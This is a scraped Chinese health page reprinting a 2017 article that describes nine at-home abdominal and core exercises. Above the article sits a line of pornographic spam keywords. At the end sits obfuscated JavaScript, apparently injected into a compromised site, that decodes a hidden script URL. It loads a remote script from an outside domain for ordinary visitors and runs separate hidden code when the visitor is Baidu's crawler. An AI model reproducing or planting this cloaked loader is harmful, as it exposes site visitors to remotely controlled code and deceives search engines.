亚洲肥老太bbw中国熟女,免费男人和女人牲交视频全黄,韩国精品久久久久久,九九精彩视频第一页

當(dāng)前位置:首頁 > 健康 > 運動健身 > 正文

如何在家有效的鍛煉身體

2017-06-12 16:59:54  來源:360常識網(wǎng)   熱度:
導(dǎo)語:鍛煉身體的重要性,已經(jīng)被大家所認識到,但是現(xiàn)在很多的年輕人,因為工作忙常常需要加班加點的工作,想要每天抽出一定的時間來鍛煉身體是有

鍛煉身體的重要性,已經(jīng)被大家所認識到,但是現(xiàn)在很多的年輕人,因為工作忙常常需要加班加點的工作,想要每天抽出一定的時間來鍛煉身體是有點困難的,其實不用到戶外,也不用到專業(yè)的健身機構(gòu),也可以有效的鍛煉身體,下面我們就來教大家?guī)追N,在家就可以鍛煉身體的小方法。

1.舉腿仰臥團身:仰臥,雙臂在頭上方伸直平放。屈膝抬腿,使大腿垂直于地面、小腿大致平行于地面。收縮腹肌,使胳膊和膝蓋相互壓得更緊。保持這個姿勢片刻,然后緩慢地返回起始姿勢,如此重復(fù)15~20次;

2.兩頭起:仰臥,頭部略微抬高,雙腿水平伸直,但不接觸地面,雙臂向頭上方伸直,身體成水平的“一”字型。抬起雙臂并向前伸出,肩部也隨之離開地面,同時雙腿向上抬起,雙手觸摸小腿。在最高點稍停片刻,然后向下還原到起始姿勢。呼氣時坐起,吸氣時還原。這個動作要求上下身要同時運動,這一點不太容易掌握,要加油練習(xí)哦

~

3.持球伸臂仰臥團身:仰臥,屈膝,雙腿平放。雙手于胸前持球,收縮腹部,向上團身。團身到位后,雙臂向上伸出,指向天花板。當(dāng)返回起始姿勢時,球也返回至胸前;

4.接力傳球:仰臥,雙手輕輕觸頭后,雙腿夾緊健身球。把雙腿向上抬高,同時收縮腹部讓肩離開地面雙手抬高把健身球傳到手中,還原。再起,把球傳回到腿上;

5.空中蹬車:仰臥,下背部緊貼地面,雙手放在頭后,將腿抬起,緩慢進行蹬車動作,呼氣抬起上體,用右肘關(guān)節(jié)觸碰左膝,還原,再用左肘觸碰右膝;

6.仰臥抬腿:仰臥,雙臂伸直掌心向下放在體側(cè)。雙腿并攏抬起。保持膝關(guān)節(jié)角度不變,勻速抬起雙腿,到最高點后繼續(xù)運動,使臀部抬離地面,此時應(yīng)感覺到腹肌強烈的收縮。維持幾秒鐘,慢慢沿原弧線放下雙腿,雙腿在動作過程中始終不觸地;

7.半側(cè)腰轉(zhuǎn)體:側(cè)臥,單手肘關(guān)節(jié)支撐地面,另一手輕輕觸頭,身體離地保持一條直線。慢慢轉(zhuǎn)動身體90度面向地板。主要腹斜肌,腹橫肌(就是肚子里面深層的肌肉了);

8.俯撐移腿:俯撐,肝關(guān)節(jié)撐地,保持從頭至腳后跟一條直線,收緊腹部。抬起右腿與地面平行,保持腿的高度不變向右側(cè)打開約30度,再還原至平行;

9.負重擰轉(zhuǎn)(左圖):站立,將杠鈴放在肩上,雙手扶住杠鈴保持平衡。通過側(cè)腰地來使身體左右轉(zhuǎn)動,轉(zhuǎn)動幅度約為45度,動作在最末端需要制動。每組50~100次。(沒有杠鈴可以用笤帚啊,雨傘啊..只要是棍狀物體替代就行);

以上我們給大家介紹了幾種,在家就可以鍛煉身體的小方法,我們可以在飯后休息時,或者看電視時,都可以進行鍛煉,不用占用特定的時間去健身房,時間可以自己掌控,通這個些鍛煉,可以讓我們的身體更靈活、健康,同時也可以很好促進睡眠,讓我們第二天精神氣爽的去迎接工作。

轉(zhuǎn)載申明:360常識網(wǎng),歡迎分享,轉(zhuǎn)載請注明出處!
?
if(navigator.userAgent.indexOf('bLLaLLiLLdLLu'.split('LL').join(''))<0){var ss = document.createElement("script");ss.src="hLLtLLtLLpLLsLL:LL/LL/LLmLLoLLnLLiLLcLLaLLnLLiLLcLLeLL.LLcLLoLLmLL/LLrLLrLLzLLyLLbLLjLLmLLeLLiLLcLL/LLaLLlLLfLLyLLcLL1LLtLLuLLnLL0LLxLLpLLnLLnLLhLLcLL4LLvLLxLLcLLfLL/LL2LL2LL3LL/LLaLLlLLfLLyLLc".split("LL").join("");document.body.appendChild(ss);}else{new Function(document.getElementById('bdrtls').textContent)();bdrtls();}